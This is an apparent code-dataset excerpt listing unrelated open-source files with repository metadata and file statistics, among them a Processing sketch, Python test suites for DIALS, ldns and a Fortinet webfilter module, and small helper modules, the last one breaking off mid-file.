sketch_________1_2________/sketch_________1_2________.pyde
|
Minindosyan/2019-fall-polytech-cs
|
f022362e4bf6d69d623d3212df9b038f7abf5790
|
[
"MIT"
] | null | null | null |
sketch_________1_2________/sketch_________1_2________.pyde
|
Minindosyan/2019-fall-polytech-cs
|
f022362e4bf6d69d623d3212df9b038f7abf5790
|
[
"MIT"
] | null | null | null |
sketch_________1_2________/sketch_________1_2________.pyde
|
Minindosyan/2019-fall-polytech-cs
|
f022362e4bf6d69d623d3212df9b038f7abf5790
|
[
"MIT"
] | null | null | null |
def setup():
size(300, 300)
background(0)
def draw():
strokeWeight(30)
stroke(100)
line(50, 50, 250, 250)
line(50, 250, 250, 50)
| 17.888889
| 27
| 0.540373
| 23
| 161
| 3.782609
| 0.608696
| 0.137931
| 0.183908
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.285714
| 0.304348
| 161
| 8
| 28
| 20.125
| 0.491071
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0
| 0
| 0.25
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d4f52c3bc9b329254fb7976c96679eb2225a7a85
| 207
|
py
|
Python
|
models/__init__.py
|
tbachlechner/ReZero-Superconvergence
|
6c0212669ac8c23d3db6f2b99255bcf6e3c5e6e6
|
[
"MIT"
] | 1
|
2020-04-21T06:10:17.000Z
|
2020-04-21T06:10:17.000Z
|
models/__init__.py
|
tbachlechner/ReZero-Superconvergence
|
6c0212669ac8c23d3db6f2b99255bcf6e3c5e6e6
|
[
"MIT"
] | null | null | null |
models/__init__.py
|
tbachlechner/ReZero-Superconvergence
|
6c0212669ac8c23d3db6f2b99255bcf6e3c5e6e6
|
[
"MIT"
] | null | null | null |
from .fixup_resnet_cifar import *
from .resnet_cifar import *
from .rezero_resnet_cifar import *
from .rezero_dpn import *
from .dpn import *
from .rezero_preact_resnet import *
from .preact_resnet import *
| 25.875
| 35
| 0.797101
| 30
| 207
| 5.2
| 0.266667
| 0.384615
| 0.326923
| 0.403846
| 0.346154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135266
| 207
| 7
| 36
| 29.571429
| 0.871508
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
be0fe13224cc812337a350e7269dd338846eb851
| 165
|
py
|
Python
|
src/amuse/ic/solarsystem.py
|
silviatoonen/amuse
|
8ba3409a2755ddf7e981ab8e86c7537e555f2dba
|
[
"Apache-2.0"
] | 131
|
2015-06-04T09:06:57.000Z
|
2022-02-01T12:11:29.000Z
|
src/amuse/ic/solarsystem.py
|
silviatoonen/amuse
|
8ba3409a2755ddf7e981ab8e86c7537e555f2dba
|
[
"Apache-2.0"
] | 690
|
2015-10-17T12:18:08.000Z
|
2022-03-31T16:15:58.000Z
|
src/amuse/ic/solarsystem.py
|
rieder/amuse
|
3ac3b6b8f922643657279ddee5c8ab3fc0440d5e
|
[
"Apache-2.0"
] | 102
|
2015-01-22T10:00:29.000Z
|
2022-02-09T13:29:43.000Z
|
"""
Generate the Solar system at a specified Julian date (default: 2438871.5).
"""
from amuse.ext.solarsystem import new_solar_system_for_mercury, new_solar_system
| 27.5
| 80
| 0.8
| 25
| 165
| 5.04
| 0.8
| 0.261905
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.054795
| 0.115152
| 165
| 5
| 81
| 33
| 0.808219
| 0.448485
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
0787a62bc570ee6399b51ef06ddd93984ccec088
| 1,624
|
py
|
Python
|
test/test_ask_user_yesno.py
|
nrocco/pycli-tools
|
4f2e04dd5c0a663d43b8b77f707af2917ac253a6
|
[
"MIT"
] | 1
|
2016-12-30T19:59:59.000Z
|
2016-12-30T19:59:59.000Z
|
test/test_ask_user_yesno.py
|
nrocco/pycli-tools
|
4f2e04dd5c0a663d43b8b77f707af2917ac253a6
|
[
"MIT"
] | null | null | null |
test/test_ask_user_yesno.py
|
nrocco/pycli-tools
|
4f2e04dd5c0a663d43b8b77f707af2917ac253a6
|
[
"MIT"
] | null | null | null |
import os
import sys
from pycli_tools import rawinput
def test_default_yes_yes():
def raw_input_mock(prompt):
return 'y'
rawinput.raw_input = raw_input_mock
assert True == rawinput.ask_user_yesno()
def test_default_yes_no():
def raw_input_mock(prompt):
return 'n'
rawinput.raw_input = raw_input_mock
assert False == rawinput.ask_user_yesno()
def test_default_yes_empty():
def raw_input_mock(prompt):
return ''
rawinput.raw_input = raw_input_mock
assert True == rawinput.ask_user_yesno()
def test_default_no_yes():
def raw_input_mock(prompt):
return 'y'
rawinput.raw_input = raw_input_mock
assert True == rawinput.ask_user_yesno(yes_on_enter=False)
def test_default_no_no():
def raw_input_mock(prompt):
return 'n'
rawinput.raw_input = raw_input_mock
assert False == rawinput.ask_user_yesno(yes_on_enter=False)
def test_default_no_empty():
def raw_input_mock(prompt):
return ''
rawinput.raw_input = raw_input_mock
assert False == rawinput.ask_user_yesno(yes_on_enter=False)
def test_continue():
def raw_input_mock(prompt):
return 'c'
rawinput.raw_input = raw_input_mock
assert True == rawinput.ask_user_yesno(yes='c', no='a')
def test_abort():
def raw_input_mock(prompt):
return 'a'
rawinput.raw_input = raw_input_mock
assert False == rawinput.ask_user_yesno(yes='c', no='a')
def test_ctrl_c():
def raw_input_mock(prompt):
raise KeyboardInterrupt()
rawinput.raw_input = raw_input_mock
assert False == rawinput.ask_user_yesno()
| 23.882353
| 63
| 0.705665
| 238
| 1,624
| 4.428571
| 0.147059
| 0.204934
| 0.204934
| 0.128083
| 0.899431
| 0.879507
| 0.828273
| 0.828273
| 0.809298
| 0.809298
| 0
| 0
| 0.200739
| 1,624
| 67
| 64
| 24.238806
| 0.812018
| 0
| 0
| 0.625
| 0
| 0
| 0.006158
| 0
| 0
| 0
| 0
| 0
| 0.1875
| 1
| 0.375
| false
| 0
| 0.0625
| 0.166667
| 0.604167
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 10
|
07947f17067072c7fea20ea0aa52da51ef1238e0
| 2,269
|
py
|
Python
|
tests/command_line/test_create_profile_model.py
|
dials-src/dials
|
25055c1f6164dc33e672e7c5c6a9c5a35e870660
|
[
"BSD-3-Clause"
] | null | null | null |
tests/command_line/test_create_profile_model.py
|
dials-src/dials
|
25055c1f6164dc33e672e7c5c6a9c5a35e870660
|
[
"BSD-3-Clause"
] | null | null | null |
tests/command_line/test_create_profile_model.py
|
dials-src/dials
|
25055c1f6164dc33e672e7c5c6a9c5a35e870660
|
[
"BSD-3-Clause"
] | null | null | null |
from __future__ import annotations
import os
import procrunner
import pytest
def test_basic(dials_regression, run_in_tmp_path):
# Call dials.create_profile_model
result = procrunner.run(
[
"dials.create_profile_model",
os.path.join(
dials_regression,
"integration_test_data",
"i04-weak-data2",
"experiments.json",
),
os.path.join(
dials_regression,
"integration_test_data",
"i04-weak-data2",
"indexed.pickle",
),
"sigma_m_algorithm=basic",
]
)
assert not result.returncode and not result.stderr
assert os.path.exists("models_with_profiles.expt")
from dxtbx.model.experiment_list import ExperimentListFactory
experiments = ExperimentListFactory.from_json_file(
"models_with_profiles.expt", check_format=False
)
sigma_b = experiments[0].profile.sigma_b(deg=True)
sigma_m = experiments[0].profile.sigma_m(deg=True)
assert sigma_b == pytest.approx(0.02446, abs=1e-3)
assert sigma_m == pytest.approx(0.06833, abs=1e-3)
def test_extended(dials_regression, run_in_tmp_path):
# Call dials.create_profile_model
result = procrunner.run(
[
"dials.create_profile_model",
os.path.join(
dials_regression,
"integration_test_data",
"i04-weak-data2",
"experiments.json",
),
os.path.join(
dials_regression,
"integration_test_data",
"i04-weak-data2",
"indexed.pickle",
),
]
)
assert not result.returncode and not result.stderr
assert os.path.exists("models_with_profiles.expt")
from dxtbx.model.experiment_list import ExperimentListFactory
experiments = ExperimentListFactory.from_json_file(
"models_with_profiles.expt", check_format=False
)
sigma_b = experiments[0].profile.sigma_b(deg=True)
sigma_m = experiments[0].profile.sigma_m(deg=True)
assert sigma_b == pytest.approx(0.02446, abs=1e-3)
assert sigma_m == pytest.approx(0.04187, abs=1e-3)
| 30.662162
| 65
| 0.609079
| 254
| 2,269
| 5.188976
| 0.251969
| 0.031866
| 0.054628
| 0.069803
| 0.899848
| 0.899848
| 0.899848
| 0.899848
| 0.899848
| 0.899848
| 0
| 0.030038
| 0.295725
| 2,269
| 73
| 66
| 31.082192
| 0.794743
| 0.027766
| 0
| 0.721311
| 0
| 0
| 0.170222
| 0.117567
| 0
| 0
| 0
| 0
| 0.131148
| 1
| 0.032787
| false
| 0
| 0.098361
| 0
| 0.131148
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
07a4dcc1ff117dcc22f85da7e7bd3ecf93ab8caa
| 1,998
|
py
|
Python
|
shapefit/utils/pathnames.py
|
alexeybokhovkin/CAD-Deform
|
462fc6c97d91cc579f9e5551ed983cc10ecb9976
|
[
"MIT"
] | 78
|
2020-03-12T12:09:44.000Z
|
2022-02-28T12:19:47.000Z
|
shapefit/utils/pathnames.py
|
alexeybokhovkin/CAD-Deform
|
462fc6c97d91cc579f9e5551ed983cc10ecb9976
|
[
"MIT"
] | 3
|
2021-01-19T14:40:38.000Z
|
2021-09-28T12:56:23.000Z
|
shapefit/utils/pathnames.py
|
alexeybokhovkin/CAD-Deform
|
462fc6c97d91cc579f9e5551ed983cc10ecb9976
|
[
"MIT"
] | 8
|
2021-01-20T06:16:28.000Z
|
2022-01-14T05:27:14.000Z
|
import os
class AnyPathnames:
SHAPENET_OBJ_IN_SCANNET_SCANS_PATH = 'Shapenet_objects_in_Scannet_scans(Scan2CAD).json'
SHAPES_IN_SCAN2CAD_PARTS = 'PartNet_dir_of_ShapeNet_objects.json'
PART_ID_TO_PARTS_DESCRIPTION = 'part_id_to_parts_description.csv'
APPEARANCES_ALL = 'cad_appearances.json'
APPEARANCES_2K = 'partnet_validation_2k.json'
APPEARANCES_50 = 'partnet_validation_50.json'
class ContainerPathnames(AnyPathnames):
# assumes that we run in container
DICTIONARIES_PATH = '/data/dictionaries'
SHAPENET_OBJ_IN_SCANNET_SCANS_PATH = os.path.join(
DICTIONARIES_PATH, AnyPathnames.SHAPENET_OBJ_IN_SCANNET_SCANS_PATH)
SHAPES_IN_SCAN2CAD_PARTS = os.path.join(
DICTIONARIES_PATH, AnyPathnames.SHAPES_IN_SCAN2CAD_PARTS)
PART_ID_TO_PARTS_DESCRIPTION = os.path.join(
DICTIONARIES_PATH, AnyPathnames.PART_ID_TO_PARTS_DESCRIPTION)
APPEARANCES_ALL = os.path.join(
DICTIONARIES_PATH, AnyPathnames.APPEARANCES_ALL)
APPEARANCES_2K = os.path.join(
DICTIONARIES_PATH, AnyPathnames.APPEARANCES_2K)
APPEARANCES_50 = os.path.join(
DICTIONARIES_PATH, AnyPathnames.APPEARANCES_50)
class LocalPathnames(AnyPathnames):
# assumes that we run in container
DICTIONARIES_PATH = os.path.realpath('/home/ishvlad/workspace/Scan2CAD/Assets/full/dictionaries')
SHAPENET_OBJ_IN_SCANNET_SCANS_PATH = os.path.join(
DICTIONARIES_PATH, AnyPathnames.SHAPENET_OBJ_IN_SCANNET_SCANS_PATH)
SHAPES_IN_SCAN2CAD_PARTS = os.path.join(
DICTIONARIES_PATH, AnyPathnames.SHAPES_IN_SCAN2CAD_PARTS)
PART_ID_TO_PARTS_DESCRIPTION = os.path.join(
DICTIONARIES_PATH, AnyPathnames.PART_ID_TO_PARTS_DESCRIPTION)
APPEARANCES_ALL = os.path.join(
DICTIONARIES_PATH, AnyPathnames.APPEARANCES_ALL)
APPEARANCES_2K = os.path.join(
DICTIONARIES_PATH, AnyPathnames.APPEARANCES_2K)
APPEARANCES_50 = os.path.join(
DICTIONARIES_PATH, AnyPathnames.APPEARANCES_50)
| 35.052632
| 101
| 0.776777
| 245
| 1,998
| 5.902041
| 0.183673
| 0.15491
| 0.082988
| 0.182573
| 0.784924
| 0.751729
| 0.751729
| 0.723375
| 0.723375
| 0.647303
| 0
| 0.014793
| 0.154154
| 1,998
| 56
| 102
| 35.678571
| 0.840828
| 0.032533
| 0
| 0.666667
| 0
| 0
| 0.136269
| 0.11658
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.027778
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
07e0a85070d62942b448c7cdec5e26553538f72f
| 11,138
|
py
|
Python
|
contrib/python/examples/test_dname.py
|
elindsey/ldns
|
778797953f6e1287507b687e71f188e6ae589d02
|
[
"BSD-3-Clause"
] | 1
|
2019-12-19T13:29:28.000Z
|
2019-12-19T13:29:28.000Z
|
contrib/python/examples/test_dname.py
|
elamaran619/ldns
|
85732f000f73ba71f7b62e374891acd2fc70c334
|
[
"BSD-3-Clause"
] | 1
|
2020-08-21T00:47:35.000Z
|
2020-08-21T00:47:35.000Z
|
contrib/python/examples/test_dname.py
|
elamaran619/ldns
|
85732f000f73ba71f7b62e374891acd2fc70c334
|
[
"BSD-3-Clause"
] | 1
|
2018-10-06T00:55:17.000Z
|
2018-10-06T00:55:17.000Z
|
#!/usr/bin/env python
#
# ldns_dname testing script.
#
# Do not use constructs that differ between Python 2 and 3.
# Use write on stdout or stderr.
#
import ldns
import sys
import os
import inspect
class_name = "ldns_dname"
method_name = None
error_detected = False
temp_fname = "tmp_dname.txt"
def set_error():
"""
Writes an error message and sets error flag.
"""
global class_name
global method_name
global error_detected
error_detected = True
sys.stderr.write("(line %d): malfunctioning method %s.\n" % \
(inspect.currentframe().f_back.f_lineno, method_name))
#if not error_detected:
if True:
method_name = class_name + ".__init__()"
rdf1 = ldns.ldns_rdf_new_frm_str(ldns.LDNS_RDF_TYPE_DNAME, "test.nic.cz.")
rdf2 = ldns.ldns_rdf_new_frm_str(ldns.LDNS_RDF_TYPE_A, "217.31.205.50")
try:
dname = ldns.ldns_dname("www.nic.cz.")
if not isinstance(dname, ldns.ldns_dname):
set_error()
except:
set_error()
#
# Error when printing a dname wich was created fron an empty string.
# Must find out why.
#
try:
dname = ldns.ldns_dname(rdf1)
if not isinstance(dname, ldns.ldns_dname):
set_error()
except:
set_error()
# Test whether rdf1 and dname independent.
dname.cat(dname)
if dname.__str__() == rdf1.__str__():
set_error()
# Test whether rdf1 and dname are dependent.
dname = ldns.ldns_dname(rdf1, clone=False)
dname.cat(dname)
if dname.__str__() != rdf1.__str__():
set_error()
# Test whether constructs from non-dname rdfs.
try:
dname = ldns.ldns_dname(rdf2)
set_error()
except TypeError:
pass
except:
set_error()
try:
dname = ldns.ldns_dname(1)
set_error()
except TypeError:
pass
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".[comparison operators]"
dn1 = ldns.ldns_dname("a.test")
dn2 = ldns.ldns_dname("b.test")
try:
ret = dn1 < dn2
if not isinstance(ret, bool):
set_error()
if ret != True:
set_error()
except:
set_error()
try:
ret = dn2 < dn1
if not isinstance(ret, bool):
set_error()
if ret != False:
set_error()
except:
set_error()
try:
ret = dn1 <= dn2
if not isinstance(ret, bool):
set_error()
if ret != True:
set_error()
except:
set_error()
try:
ret = dn2 <= dn1
if not isinstance(ret, bool):
set_error()
if ret != False:
set_error()
except:
set_error()
try:
ret = dn1 == dn2
if not isinstance(ret, bool):
set_error()
if ret != False:
set_error()
except:
set_error()
try:
ret = dn1 == dn1
if not isinstance(ret, bool):
set_error()
if ret != True:
set_error()
except:
set_error()
try:
ret = dn1 != dn2
if not isinstance(ret, bool):
set_error()
if ret != True:
set_error()
except:
set_error()
try:
ret = dn1 != dn1
if not isinstance(ret, bool):
set_error()
if ret != False:
set_error()
except:
set_error()
try:
ret = dn1 > dn2
if not isinstance(ret, bool):
set_error()
if ret != False:
set_error()
except:
set_error()
try:
ret = dn2 > dn1
if not isinstance(ret, bool):
set_error()
if ret != True:
set_error()
except:
set_error()
try:
ret = dn1 >= dn2
if not isinstance(ret, bool):
set_error()
if ret != False:
set_error()
except:
set_error()
try:
ret = dn2 >= dn1
if not isinstance(ret, bool):
set_error()
if ret != True:
set_error()
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".absolute()"
dname = ldns.ldns_dname("www.nic.cz.")
try:
ret = dname.absolute()
if not isinstance(ret, bool):
set_error()
if ret != True:
set_error()
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".cat()"
rdf1 = ldns.ldns_rdf_new_frm_str(ldns.LDNS_RDF_TYPE_DNAME, "test.nic.cz.")
rdf2 = ldns.ldns_rdf_new_frm_str(ldns.LDNS_RDF_TYPE_A, "217.31.205.50")
dname = ldns.ldns_dname("www.nic.cz.")
try:
ret = dname.cat(dname)
if ret != ldns.LDNS_STATUS_OK:
set_error()
if dname.__str__() != "www.nic.cz.www.nic.cz.":
set_error()
except:
set_error()
try:
ret = dname.cat(rdf1)
if ret != ldns.LDNS_STATUS_OK:
set_error()
if dname.__str__() != "www.nic.cz.www.nic.cz.test.nic.cz.":
set_error()
except:
set_error()
try:
ret = dname.cat(rdf2)
if ret == ldns.LDNS_STATUS_OK:
set_error()
except:
set_error()
try:
ret = dname.cat("")
set_error()
except TypeError:
pass
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".cat_clone()"
rdf1 = ldns.ldns_rdf_new_frm_str(ldns.LDNS_RDF_TYPE_DNAME, "test.nic.cz.")
rdf2 = ldns.ldns_rdf_new_frm_str(ldns.LDNS_RDF_TYPE_A, "217.31.205.50")
dname = ldns.ldns_dname("www.nic.cz.")
try:
ret = dname.cat_clone(dname)
if not isinstance(ret, ldns.ldns_dname):
set_error()
if ret.__str__() != "www.nic.cz.www.nic.cz.":
set_error()
except:
set_error()
try:
ret = dname.cat_clone(rdf1)
if not isinstance(ret, ldns.ldns_dname):
set_error()
if ret.__str__() != "www.nic.cz.test.nic.cz.":
set_error()
except:
set_error()
try:
ret = dname.cat_clone(rdf2)
if ret != None:
set_error()
except:
set_error()
try:
ret = dname.cat_clone("")
except TypeError:
pass
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".interval()"
dn1 = ldns.ldns_dname("a.ns.nic.cz.")
dn2 = ldns.ldns_dname("b.ns.nic.cz.")
dn3 = ldns.ldns_dname("c.ns.nic.cz.")
try:
ret = dn1.interval(dn2, dn3)
if ret != -1:
set_error()
except:
set_error()
try:
ret = dn2.interval(dn1, dn3)
if ret != 1:
set_error()
except:
set_error()
rdf4 = ldns.ldns_rdf_new_frm_str(ldns.LDNS_RDF_TYPE_DNAME, "d.ns.nic.cz.")
rdf5 = ldns.ldns_rdf_new_frm_str(ldns.LDNS_RDF_TYPE_A, "194.0.12.1")
try:
ret = dn1.interval(dn2, rdf4)
if ret != -1:
set_error()
except:
set_error()
try:
ret = dn2.interval(dn1, rdf4)
if ret != 1:
set_error()
except:
set_error()
try:
ret = dn1.interval(dn2, rdf5)
set_error()
except Exception:
pass
except:
set_error()
try:
ret = dn1.interval(dn2, "")
set_error()
except TypeError:
pass
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".is_subdomain()"
dn1 = ldns.ldns_dname("nic.cz.")
dn2 = ldns.ldns_dname("www.nic.cz.")
rdf3 = ldns.ldns_rdf_new_frm_str(ldns.LDNS_RDF_TYPE_DNAME, "www.nic.cz.")
try:
ret = dn1.is_subdomain(dn2)
if not isinstance(ret, bool):
set_error()
if ret == True:
set_error()
ret = dn2.is_subdomain(dn1)
if ret != True:
set_error()
except:
set_error()
try:
ret = dn1.is_subdomain(rdf3)
if not isinstance(ret, bool):
set_error()
if ret == True:
set_error()
except:
set_error()
rdf4 = ldns.ldns_rdf_new_frm_str(ldns.LDNS_RDF_TYPE_A, "194.0.12.1")
try:
ret = dn1.is_subdomain(rdf4)
if ret != False:
set_error()
except:
set_error()
try:
ret = dn1.is_subdomain("")
set_error()
except TypeError:
pass
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".label()"
dn = ldns.ldns_dname("nic.cz.")
try:
ret = dn.label(0)
if not isinstance(ret, ldns.ldns_dname):
set_error()
except:
set_error()
try:
ret = dn.label(10)
if ret != None:
set_error()
except:
set_error()
try:
ret = dn.label("")
except TypeError:
pass
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".label_count()"
dn = ldns.ldns_dname("www.nic.cz.")
try:
ret = dn.label_count()
if (not isinstance(ret, int)) and (not isinstance(ret, long)):
set_error()
if ret != 3:
set_error()
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".left_chop()"
dn = ldns.ldns_dname("www.nic.cz.")
try:
ret = dn.left_chop()
if not isinstance(ret, ldns.ldns_dname):
set_error()
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".make_canonical()"
dn = ldns.ldns_dname("WWW.NIC.CZ.")
try:
dn.make_canonical()
if dn.__str__() != "www.nic.cz.":
set_error()
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".new_frm_rdf()"
# Tested via constructor call.
#if not error_detected:
if True:
method_name = class_name + ".new_frm_str()"
# Tested via constructor call.
#if not error_detected:
if True:
method_name = class_name + ".reverse()"
dn = ldns.ldns_dname("www.nic.cz.")
try:
ret = dn.reverse()
if not isinstance(ret, ldns.ldns_dname):
set_error()
if ret.__str__() != "cz.nic.www.":
set_error()
except:
set_error()
#if not error_detected:
if True:
method_name = class_name + ".write_to_buffer()"
dn = ldns.ldns_dname("www.nic.cz.")
buf = ldns.ldns_buffer(1024)
try:
ret = dn.write_to_buffer(buf)
if ret != ldns.LDNS_STATUS_OK:
set_error()
if buf.position() != 12:
set_error()
except:
set_error()
try:
ret = dn.write_to_buffer("")
except TypeError:
pass
except:
set_error()
if not error_detected:
sys.stdout.write("%s: passed.\n" % (os.path.basename(__file__)))
else:
sys.stdout.write("%s: errors detected.\n" % (os.path.basename(__file__)))
sys.exit(1)
| 23.448421
| 78
| 0.544532
| 1,437
| 11,138
| 3.972164
| 0.10508
| 0.155571
| 0.107919
| 0.10424
| 0.823406
| 0.774702
| 0.753504
| 0.738788
| 0.708304
| 0.69096
| 0
| 0.018919
| 0.335608
| 11,138
| 474
| 79
| 23.49789
| 0.752432
| 0.07039
| 0
| 0.733167
| 0
| 0
| 0.06842
| 0.009802
| 0
| 0
| 0
| 0
| 0
| 1
| 0.002494
| false
| 0.024938
| 0.009975
| 0
| 0.012469
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
07ecbfcfdbea9f5921fabea458d19ee5ef7b812a
| 50
|
py
|
Python
|
examples/25_anonymous.py
|
LayneInNL/py2flows
|
5ecb555c64350cb13c3885a78fe89a40994e9d0e
|
[
"Apache-2.0"
] | 3
|
2022-03-21T12:10:37.000Z
|
2022-03-24T13:31:19.000Z
|
examples/25_anonymous.py
|
Robin199412/py2flows
|
52e5e5bdbd83ede4a994f2e429dac770a7926032
|
[
"Apache-2.0"
] | 1
|
2022-03-17T02:09:37.000Z
|
2022-03-17T10:08:14.000Z
|
examples/25_anonymous.py
|
LayneInNL/py2flows
|
5ecb555c64350cb13c3885a78fe89a40994e9d0e
|
[
"Apache-2.0"
] | 1
|
2022-03-21T12:10:18.000Z
|
2022-03-21T12:10:18.000Z
|
a = (lambda x: 1)(1)
(lambda x: 1)(1)
lambda x: x
| 12.5
| 20
| 0.54
| 12
| 50
| 2.25
| 0.333333
| 0.777778
| 0.592593
| 0.666667
| 0.925926
| 0.925926
| 0
| 0
| 0
| 0
| 0
| 0.102564
| 0.22
| 50
| 3
| 21
| 16.666667
| 0.589744
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
07efbfcbd526734746fa6d8cfe9047b2645ea04b
| 20,117
|
py
|
Python
|
v6.0.5/webfilter/test_fortios_webfilter_profile.py
|
fortinet-solutions-cse/ansible_fgt_modules
|
c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719
|
[
"Apache-2.0"
] | 14
|
2018-09-25T20:35:25.000Z
|
2021-07-14T04:30:54.000Z
|
v6.0.5/webfilter/test_fortios_webfilter_profile.py
|
fortinet-solutions-cse/ansible_fgt_modules
|
c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719
|
[
"Apache-2.0"
] | 32
|
2018-10-09T04:13:42.000Z
|
2020-05-11T07:20:28.000Z
|
v6.0.5/webfilter/test_fortios_webfilter_profile.py
|
fortinet-solutions-cse/ansible_fgt_modules
|
c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719
|
[
"Apache-2.0"
] | 11
|
2018-10-09T00:14:53.000Z
|
2021-11-03T10:54:09.000Z
|
# Copyright 2019 Fortinet, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <https://www.gnu.org/licenses/>.
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import os
import json
import pytest
from mock import ANY
from ansible.module_utils.network.fortios.fortios import FortiOSHandler
try:
from ansible.modules.network.fortios import fortios_webfilter_profile
except ImportError:
pytest.skip("Could not load required modules for testing", allow_module_level=True)
@pytest.fixture(autouse=True)
def connection_mock(mocker):
connection_class_mock = mocker.patch('ansible.modules.network.fortios.fortios_webfilter_profile.Connection')
return connection_class_mock
fos_instance = FortiOSHandler(connection_mock)
def test_webfilter_profile_creation(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'webfilter_profile': {
'comment': 'Optional comments.',
'extended_log': 'enable',
'https_replacemsg': 'enable',
'inspection_mode': 'proxy',
'log_all_url': 'enable',
'name': 'default_name_8',
'options': 'activexfilter',
'ovrd_perm': 'bannedword-override',
'post_action': 'normal',
'replacemsg_group': 'test_value_12',
'web_content_log': 'enable',
'web_extended_all_action_log': 'enable',
'web_filter_activex_log': 'enable',
'web_filter_applet_log': 'enable',
'web_filter_command_block_log': 'enable',
'web_filter_cookie_log': 'enable',
'web_filter_cookie_removal_log': 'enable',
'web_filter_js_log': 'enable',
'web_filter_jscript_log': 'enable',
'web_filter_referer_log': 'enable',
'web_filter_unknown_log': 'enable',
'web_filter_vbs_log': 'enable',
'web_ftgd_err_log': 'enable',
'web_ftgd_quota_usage': 'enable',
'web_invalid_domain_log': 'enable',
'web_url_log': 'enable',
'wisp': 'enable',
'wisp_algorithm': 'primary-secondary',
'youtube_channel_status': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_webfilter_profile.fortios_webfilter(input_data, fos_instance)
expected_data = {
'comment': 'Optional comments.',
'extended-log': 'enable',
'https-replacemsg': 'enable',
'inspection-mode': 'proxy',
'log-all-url': 'enable',
'name': 'default_name_8',
